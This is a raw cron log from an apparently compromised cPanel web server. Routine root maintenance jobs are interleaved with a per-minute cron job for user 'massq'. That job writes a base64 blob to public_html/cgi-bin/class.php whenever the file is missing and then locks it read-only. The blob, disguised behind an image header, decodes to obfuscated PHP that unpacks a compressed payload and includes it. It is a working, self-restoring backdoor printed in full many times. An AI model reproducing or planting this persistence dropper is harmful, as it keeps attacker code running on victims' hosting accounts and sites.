Sep 10 07:10:01 server CROND[6753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:10:01 server CROND[6755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:10:01 server CROND[6762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:10:01 server CROND[6763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:10:01 server CROND[6766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:10:01 server CROND[6765]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:11:01 server CROND[7589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:11:01 server CROND[7591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:11:01 server CROND[7590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:12:01 server CROND[7957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:12:01 server CROND[7960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:12:01 server CROND[7961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:12:01 server CROND[7962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:13:01 server CROND[8323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:13:01 server CROND[8324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:13:01 server CROND[8325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:14:01 server CROND[8847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:14:01 server CROND[8849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:14:01 server CROND[8848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:15:01 server CROND[9235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:15:01 server CROND[9237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:15:01 server CROND[9244]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:15:01 server CROND[9243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:15:01 server CROND[9245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:15:01 server CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:15:01 server CROND[9241]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 07:15:01 server CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:16:01 server CROND[10204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:16:01 server CROND[10205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:16:01 server CROND[10208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:17:01 server CROND[10616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:17:01 server CROND[10617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:17:01 server CROND[10618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:18:01 server CROND[10989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:18:01 server CROND[10990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:18:01 server CROND[10991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:19:01 server CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:19:01 server CROND[11502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:19:01 server CROND[11503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:20:01 server CROND[11895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:20:01 server CROND[11896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:20:01 server CROND[11899]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:20:01 server CROND[11901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:20:01 server CROND[11907]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:20:01 server CROND[11906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:20:01 server CROND[11909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:20:01 server CROND[11912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:20:01 server CROND[11910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:21:01 server CROND[12757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:21:01 server CROND[12758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:21:01 server CROND[12759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
